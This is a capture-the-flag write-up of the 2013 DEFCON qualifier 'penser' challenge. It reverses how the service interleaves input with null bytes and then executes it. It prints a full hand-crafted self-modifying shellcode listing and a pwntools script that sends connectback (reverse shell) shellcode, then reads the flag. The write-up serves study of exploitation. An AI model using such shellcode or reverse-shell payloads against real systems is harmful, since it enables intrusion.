penser - DEFCON quals 2013
The reversing was fairly trivial.
First the length of what was about to be received should be sent, with the added requirement that the length could not exceed 0x1000 bytes.
Then a buffer of that size was malloc'ed and received into.
mmap was used to make room for a buffer twice the size of the input and the received input was copied into the mmap'ed memory.
This was however just a decoy, as both buffers were passed on to a function located at 0x40124c, which copied each byte from the malloced into every second position of the mmapped buffer. The spaces were filled with null bytes, so if 41414141 was sent to the server, the mmap'ed buffer would contain 4100410041004100.
Two cases would stop this copying:
1. if one of the bytes were less than 0x1f (with the exception of '\n'). This was a hard restriction because it would cause the function to return -1 and stop running. 2. if a null byte was encountered or if the buffer was filled the copying would stop, but the rest of the program would continue running.
If the function returns correctly, the program will call the mmap'ed buffer.
So first there is a need to craft shellcode, in which each second byte is a null byte and no byte value is less than 0x1f or larger than 7f (signed compare).
There is however some good news, as the stack contained goodies. A pointer to the forgotten lands (the malloc'ed buffer) is located on the stack, free has been called on it, but the later portions of the received data is still there.
With this in mind, we needed to craft shellcode to do the following:
1. Retrieve the pointer 2. Add some offset 3. Jump to the modified pointer
As all jumps have opcodes with values above 0x7f, we needed to change the last requirement into writing some code that makes some self-modifying shellcode.
00000000 59 pop rcx 00000001 004500 add [rbp+0x0],al ;JUNK 00000004 59 pop rcx 00000005 004500 add [rbp+0x0],al ;JUNK 00000008 59 pop rcx 00000009 004500 add [rbp+0x0],al ;JUNK 0000000C 59 pop rcx 0000000D 004500 add [rbp+0x0],al ;JUNK 00000010 5F pop rdi ; rdi now contains 00000011 004500 add [rbp+0x0],al ;JUNK 00000014 54 push rsp 00000015 004500 add [rbp+0x0],al ;JUNK 00000018 5B pop rbx 00000019 004500 add [rbp+0x0],al ;JUNK 0000001C 59 pop rcx ; rbx now points at any value pushed to the stack 0000001D 004500 add [rbp+0x0],al ;JUNK 00000020 6800560041 push dword 0x41005600 ; 56 is the offset to 7f 00000025 004500 add [rbp+0x0],al ;JUNK 00000028 59 pop rcx; ch contains 56 00000029 004500 add [rbp+0x0],al ;JUNK 0000002C 52 push rdx ; rdx contains a pointer to this code 0000002D 002B add [rbx],ch; 0000002F 004500 add [rbp+0x0],al ;JUNK 00000032 5E pop rsi; rsi = pointer to 7f 00000033 004500 add [rbp+0x0],al ;JUNK 00000036 6800440041 push dword 0x41004400 ; 44+7f = ret 0000003B 004500 add [rbp+0x0],al ;JUNK 0000003E 59 pop rcx 0000003F 002E add [rsi],ch ; write the ret 00000041 004500 add [rbp+0x0],al ;JUNK 00000044 68002D0041 push dword 0x41002d00; offset into the "real" shellcode 00000049 004500 add [rbp+0x0],al ;JUNK 0000004C 58 pop rax 0000004D 004500 add [rbp+0x0],al ;JUNK 00000050 57 push rdi 00000051 0023 add [rbx],ah; add the offset to the malloced pointer 00000053 004500 add [rbp+0x0],al ;JUNK 00000056 7F db 0x7f
All there is left to do now is to make the final python script:
from pwn import * splash() context('amd64','linux','ipv4') HOST = '127.0.0.1' PORT = 8273 MY_HOST = '127.0.0.1' MY_PORT = 1337 sock = remote(HOST,PORT) payload = '' with open('init.asm') as init: payload += asm(init.read()) assert(payload) if any(x <> 0 for x in payload[1::2]): print "you dear sir, have failed" exit(-1) payload = payload[::2] payload += chr(0) payload += asm(shellcode.connectback(MY_HOST,MY_PORT)) sock.send(p32(len(payload))) sock.send(payload)
From the shell: cat key The key is: TBDHelloooookdkdkiekdiekdiek